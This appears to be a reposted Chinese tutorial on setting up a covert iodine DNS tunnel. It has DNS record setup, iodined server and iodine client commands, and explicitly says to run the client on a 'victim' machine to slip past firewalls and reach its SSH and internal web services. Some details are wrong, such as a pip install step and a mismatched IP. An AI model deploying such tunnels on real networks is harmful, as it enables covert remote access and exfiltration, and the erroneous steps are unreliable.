内网隐蔽隧道之DNS隧道搭建(iodine)

内网隐蔽隧道之DNS隧道搭建(iodine)DNS 隧道 DNSTunneling 是将其他协议的内容封装在 DNS 协议中 然后以 DNS 请求和响应包完成传输数据 通信 的技术 当前网络世界中的 DNS 是一项必不可少的服务 所以防火墙和入侵检测设备处于可用性和用户友好的考虑将很难做到完全过滤掉 DNS 流量 因此 攻击者可以利用它实现诸如远程控制 文件传输等操作 众多研究表明 DNSTunneling 在僵尸网络和 APT 攻击中扮演着至关重要的角色 iodine

目录

DNS隧道

iodine

环境搭建

域名解析配置

安装并启动服务器

安装并启动客户端

客户端为linux

客户端为windows


DNS隧道

DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑将很难做到完全过滤掉DNS流量,因此,攻击者可以利用它实现诸如远程控制,文件传输等操作,众多研究表明DNS Tunneling在僵尸网络和APT攻击中扮演着至关重要的角色。

DNS隧道依据其实现方式大致可分为直连和中继两类。

直连:用户端直接和指定的目标DNS服务器建立连接,然后将需要传输的数据编码封装在DNS协议中进行通信。这种方式的优点是具有较高速度,但蔽性弱、易被探测追踪的缺点也很明显。另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。

中继隧道:通过DNS迭代查询而实现的中继DNS隧道,这种方式及其隐秘,且可在绝大部分场景下部署成功。但由于数据包到达目标DNS服务器前需要经过多个节点的跳转,数据传输速度和传输能力较直连会慢很多。

实现DNS隧道的关键要点:

  • dns2tcp:支持直连模式的DNS隧道,只实现了简单的DNS隧道,相关命令和控制服务需要自行搭建,且已在kali系统中直接集成。
  • iodine:最活跃、速度最快、支持直连和中继模式,且支持丰富的编码、请求类型选择
  • Dnscat2:封装在DNS协议中的加密C&C信道,直接运行工具即可实现数据传输、文件操作等命令和控制功能。

iodine

iodine是基于C语言开发的,分为服务端和客户端。iodine支持转发模式和中继模式。其原理是:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后,客户机上会多出一块名为dns0的虚拟网卡。

环境搭建

域名解析配置

因为我们需要在自己的VPS上使用DNS服务,所以得先配置一下域名 —> 域名注册及域名解析

在添加A记录的基础上,再添加一个NS记录(将子域名指定其他DNS服务器解析,子域名字随便自己定)

内网隐蔽隧道之DNS隧道搭建(iodine)

  • 第一条A类记录,告诉域名系统,”www.ssrc.top” 的IP地址是 “39.100.88.162”
  • 第二条NS记录,告诉域名系统,”12.ssrc.top” 的域名由 “www.ssrc.top” 进行解析。即12.ssrc.top还是会被解析为33.100.88.162

此时,我们能ping通www.ssrc.top,说明A记录配置正确

内网隐蔽隧道之DNS隧道搭建(iodine)

 然后在我们的VPS上执行以下命令监听UDP53端口

tcpdump -n -i eth0 udp dst port 53

在任意一台机器上执行  nslookup 12.ssrc.top 命令,如果在我们的VPS监听的端口有查询信息,说明第二条记录设置成功

内网隐蔽隧道之DNS隧道搭建(iodine)

安装并启动服务器

在vps中安装iodine的服务端,因为为linux系统,直接执行以下命令进行下载

pip install iodine

执行以下命令启动服务端

iodined -f -c -P root@ 172.16.10.1 12.ssrc.top -DD -f:在前台运行 -c:禁止检查所有传入请求的客户端IP地址 -P:指定密码 -D:指定调试级别。-DD指第二级,D的数量随等级增加 这里的172.16.10.1是自定义的局域网虚拟IP地址

内网隐蔽隧道之DNS隧道搭建(iodine)

运行之后VPS上会多一个虚拟网卡地址,地址为刚设置的地址

内网隐蔽隧道之DNS隧道搭建(iodine)

安装并启动客户端

我们在受害者机器上运行客户端

客户端为linux

kali中自带了iodine,如果没有则先下载再进行安装:https://github.com/yarrick/iodine

cd iodine-master make && make install

然后执行下面命令连接服务端(需要root权限),如图连接成功。

iodine -f -P root@ 12.ssrc.top

如下,代表连接成功,此时服务端也会有数据反应

内网隐蔽隧道之DNS隧道搭建(iodine)

 连接成功后,客户端上新建了一个dns0的网卡,IP地址为172.16.10.2,与服务端生成的虚拟网卡的地址处于同一网段

内网隐蔽隧道之DNS隧道搭建(iodine)

此时vps和客户端相当于处于同一内网环境

1. vps可以直接ping客户端地址172.16.10.2

内网隐蔽隧道之DNS隧道搭建(iodine)

 2. vps访问内网的web服务

内网隐蔽隧道之DNS隧道搭建(iodine)

 3. vps ssh连接客户端

内网隐蔽隧道之DNS隧道搭建(iodine)

客户端为windows

下载:iodine-0.7.0-windows+TAP

内网隐蔽隧道之DNS隧道搭建(iodine)

iodine.exe使用需要先安装TAP适配器,所以安装openvpn-install-2.3.13-I601-x86_64.exe,安装时只选择TAP Virtual Ethernet Adapte

内网隐蔽隧道之DNS隧道搭建(iodine)

 将iodine.exe以及dll文件上传到机器上(服务端使用iodined,客户端使用iodine)

内网隐蔽隧道之DNS隧道搭建(iodine)

安装完TAP后,执行

iodine.exe -f -P root@ 12.ssrc.top

如下代表连接成功

内网隐蔽隧道之DNS隧道搭建(iodine)

 此时能看出多出了一张网卡172.16.10.2

内网隐蔽隧道之DNS隧道搭建(iodine)

此时vps服务端能ping通客户端,但是客户端ping不同服务端不知道为啥

内网隐蔽隧道之DNS隧道搭建(iodine)

此时在客户端的网段连接中是看不到任何信息的

内网隐蔽隧道之DNS隧道搭建(iodine)

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/211184.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月18日 下午11:01
下一篇 2026年3月18日 下午11:01


相关推荐

  • 查看此docker网络连接模式_Docker系列-Docker 网络模式及配置

    查看此docker网络连接模式_Docker系列-Docker 网络模式及配置一 Docker 网络模式 dockerrun 创建 Docker 容器时 可以用 net 选项指定容器的网络模式 Docker 有以下 4 种网络模式 host 模式 使用 net host 指定 container 模式 使用 net container NAME or ID 指定 none 模式 使用 net none 指定 bridge 模式 使用 net bridge 指定 默认

    2026年3月16日
    7
  • Ubuntu中恢复rm命令误删文件

    Ubuntu中恢复rm命令误删文件项目过程不小心误删了文件 本文总结相关恢复方法

    2026年3月20日
    3
  • LDA主题模型简介及Python实现

    LDA主题模型简介及Python实现一 LDA 主题模型简介 LDA 主题模型主要用于推测文档的主题分布 可以将文档集中每篇文档的主题以概率分布的形式给出根据主题进行主题聚类或文本分类 LDA 主题模型不关心文档中单词的顺序 通常使用词袋特征 bag of wordfeature 来代表文档 词袋模型介绍可以参考这篇文章 文本向量化表示 词袋模型 知乎了解 LDA 模型 我们需要先了解 LDA 的生成模型 LDA 认为一篇文章是怎么形成的呢 LDA 模型认为主题可以由一个词汇

    2026年3月19日
    1
  • python打开并读取csv文件_Python中读取csv文件内容方法

    python打开并读取csv文件_Python中读取csv文件内容方法原博文2015-05-1318:22−gg224@126.com85男dd123@126.com52女fgf125@126.com23女csv文件内容如上图,首先导入csv包,调用csv中的方法reader()创建一个对象,由于使用printdata打印出来的内容是集合…相关推荐2016-10-0810:00−python中有一个读写csv…

    2022年7月20日
    17
  • 计算机软件著作权源代码_软件著作权代码页数

    计算机软件著作权源代码_软件著作权代码页数软件著作权源代码文档的要求:代码总共60页,前面30页/后面30页,每页50行。前面30页要连续,后面30页要连续,30页与31页可不连续。代码结尾要有结束标志,不要空格和注释。一、清除整个文档的空行:方法:用ctrl+a(快捷方式),选中全部源程序代码文档;点击word的查找替换功能查找:^p^p;替换为:^p。选择“全部替换”。反复N次,直到全部替换完成。二、清除注释1.清除单行注释//*^13全部替换为空2.清除多行注释/\*\*^13*/^13全部替换为空…

    2025年11月21日
    4
  • AppFabric_RAZApp

    AppFabric_RAZAppAppFabric的开发相对还是很简单的,最常见的方法无非是声明一个缓存接口,然后由各种缓存实现.具体的使用除了msdn:http://msdn.microsoft.com/zh-cn/library/hh334305这是实例包的下载地址:http://www.microsoft.com/en-us/download/confirmation.aspx?id=19603这篇博客介绍得不错.使用微软

    2022年10月17日
    7

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号